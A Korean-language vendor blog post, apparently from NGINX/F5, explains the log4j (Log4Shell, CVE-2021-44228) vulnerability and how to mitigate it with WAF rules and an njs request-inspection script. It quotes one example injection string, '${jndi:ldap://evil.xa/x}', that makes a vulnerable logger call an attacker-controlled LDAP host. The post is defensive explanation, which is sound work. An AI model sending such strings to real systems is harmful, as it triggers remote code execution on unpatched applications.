NGINX를 활용한 log4j 취약점(CVE-2021-44228) 완화

Timo Stark제품 관리 엔지니어

2021년 12월 10일 금요일은 전 세계 수많은 IT 관계자에게 오래도록 기억될 날입니다. 바로 이날 Java 애플리케이션용으로 널리 사용되는 로깅 라이브러리인 제로데이에서 매우 심각한 log4j 취약점이 발견되었습니다. 이 익스플로잇에는 곧바로 ‘Log4Shell’이라는 이름이 붙었고, 규모를 막론한 기업들이 서둘러 완화 조치를 시행했습니다. 이후 패치 작업이 장기간 이어졌으며, 이 글을 작성하는 시점에도 여전히 진행 중입니다.

NGINX와 F5는 이 위협을 분석했으며, 이 게시물에서는 애플리케이션을 안전하게 보호할 수 있는 다양한 완화 방안을 제시합니다.

Log4Shell이란 무엇인가요?

log4j 라이브러리 버전 2.15 이하는 다음 문서에 설명된 원격 코드 실행(RCE) 취약점의 영향을 받습니다. CVE-2021-44228 (log4j 버전 2.16에서는 이 취약점이 패치되었습니다.) Log4Shell은 이 취약점을 악용하는 공격에 붙여진 이름입니다. 그렇다면 이 취약점은 무엇이며 왜 그렇게 심각할까요? CVE에 설명된 바와 같이 Apache log4j Java 라이브러리는 입력값을 제대로 검증하지 않습니다.

log4j 라이브러리와 Java 런타임의 Java Naming and Directory Interface(JNDI) 기능을 사용하면 LDAP의 사용자 이름이나 DNS의 IP 주소와 같은 외부 소스의 데이터를 원격 조회로 가져와 로그 항목에 포함할 수 있습니다. 안타깝게도 원격 공격자는 JNDI를 가로채 자신이 작성한 Java 코드를 실행할 수 있습니다. 다음 다이어그램은 이 공격을 보여 줍니다.

취약한 대상을 공격하려면 공격자는 애플리케이션 코드가 다음과 같은 문자열이 포함된 로그 항목을 기록하도록 유도해야 합니다. ${jndi:ldap://evil.xa/x}. 여기서 중요한 질문은 이 문자열이 로그 메시지에 포함되도록 어디에 넣어야 하느냐는 것입니다. 많은 애플리케이션에서 로깅은 필수적이며, 들어오는 모든 요청에 대해 User-Agent 및 X-Forwarded-For 같은 HTTP 헤더, URI, 요청 본문 등 다양한 정보가 기록됩니다. 공격 경로는 다양하며, 이 문자열이 log4j를 통해 로그에 기록되기만 하면 해당 애플리케이션을 공격할 수 있습니다.

NGINX도 이 취약점의 영향을 받나요?

아니요. NGINX 자체는 C로 작성되었으며 Java 또는 Java 기반 라이브러리를 사용하지 않으므로 이 익스플로잇의 영향을 받지 않습니다. 모든 F5 및 NGINX 제품에 대한 CVE-2021-44228 공식 대응 내용은 AskF5 기술 자료의 문서 K19026212을 참조하세요.

NGINX는 이 취약점 악용을 완화하는 데 어떻게 도움이 되나요?

앞서 언급했듯이 공격자는 HTTP 요청의 어딘가에 익스플로잇 문자열을 포함하여 대상 애플리케이션으로 전송해야 합니다. NGINX는 수신 요청에서 침해 지표(IOC)를 탐지하고 차단할 수 있는 여러 도구를 제공합니다.

악성 요청을 차단하는 가장 효과적인 방법은 웹 애플리케이션 방화벽(WAF)을 사용하는 것입니다. WAF는 요청 데이터를 사전 컴파일된 규칙 집합과 비교하여 수신되는 모든 요청에서 CVE-2021-44228의 징후를 검사합니다. 하지만 제로데이 익스플로잇이 발생한 후 WAF 규칙을 업데이트하는 과정은 군비 경쟁과도 같습니다. 특정 익스플로잇에 대한 WAF 규칙이 제공되기 시작하면 공격자는 곧바로 WAF를 우회할 수 있는 기법과 패턴을 찾습니다. WAF 규칙을 항상 최신 상태로 유지해야 합니다.

NGINX ModSecurity WAF

ModSecurity는 오픈 소스 WAF이며, NGINX에서 상용 제품인 NGINX Plus용 NGINX ModSecurity WAF 모듈로도 제공합니다. OWASP ModSecurity Core Rule Set(CRS)에는 Log4Shell을 완화할 수 있는 기존 규칙(932130)이 포함되어 있습니다. 이 솔루션과 더욱 고급화된 보호 기능에 대한 자세한 내용은 CRS 블로그를 참조하세요.

[편집자 – NGINX ModSecurity WAF는 2022년 4월 1일부로 공식 판매 종료되었으며, 2024년 3월 31일부로 지원 종료될 예정입니다. 자세한 내용은 블로그의 F5 NGINX ModSecurity WAF 지원 종료 전환 안내<.htmla>를 참조하세요.]

NGINX App Protect WAF

NGINX App Protect WAF는 최신 애플리케이션 보안 솔루션입니다. 위협 및 알려진 WAF 우회 기법에 대한 지속적인 조사 결과를 바탕으로, Log4Shell 공격을 효과적으로 탐지할 수 있도록 서버 측 코드 삽입 시그니처 세트에 새로운 규칙을 추가했습니다. 자세한 내용은 AskF5 기술 자료를 참조하세요.

NGINX JavaScript 모듈

NGINX와 NGINX Plus는 많은 Java 기반 애플리케이션의 프런트엔드에서 리버스 프록시로 널리 배포되고 있습니다. WAF를 사용할 수 없는 사용자와 고객을 위해 NGINX JavaScript Module(njs)을 사용하는 스크립트를 만들었습니다. 이 스크립트는 알려진 IOC 문자열과 정규식을 활용하여 수신 요청의 HTTP 헤더, URI 및 요청 본문을 검사하고, 입력 데이터와 일치하는 패턴을 찾아 악성 요청을 차단합니다.

njs 스크립트는 GitHub에서 제공됩니다. njs 모듈 설치 방법은 NGINX Plus 관리자 가이드를 참조하세요.

요약

Log4Shell에 대한 가장 효과적인 해결책은 애플리케이션 코드를 log4j 버전 2.16 이상으로 패치하여 JDNI를 비활성화하는 것입니다. 즉시 패치할 수 없다면 패치를 적용할 때까지 WAF를 사용하여 위협을 효과적으로 완화할 수 있습니다. 아직 WAF가 없다면 당사의 njs 스크립트를 사용하여 해당 위협에 대한 전용 보호 기능을 구현할 수 있습니다. 아래 리소스에서 자세한 내용을 확인하고 애플리케이션에 가장 적합한 보호 방법을 선택하세요.

리소스

• CVE-2021-44228 – 공식 CVE
• 인기 Java 라이브러리 Log4j를 노린 제로데이 익스플로잇 – 취약점을 이해하는 데 유용한 개요
• K19026212: Apache Log4j2 원격 코드 실행 취약점 CVE-2021-44228 – F5 공식 대응
• CRS 및 Log4j / Log4Shell / CVE-2021-44228 – ModSecurity Core Rule Set 블로그
• CVE-2021-44228에 대한 NGINX njs 요청 검사 – NGINX JavaScript 완화 솔루션

작성자 소개

Timo Stark제품 관리 엔지니어

Timo Stark의 다른 블로그 게시물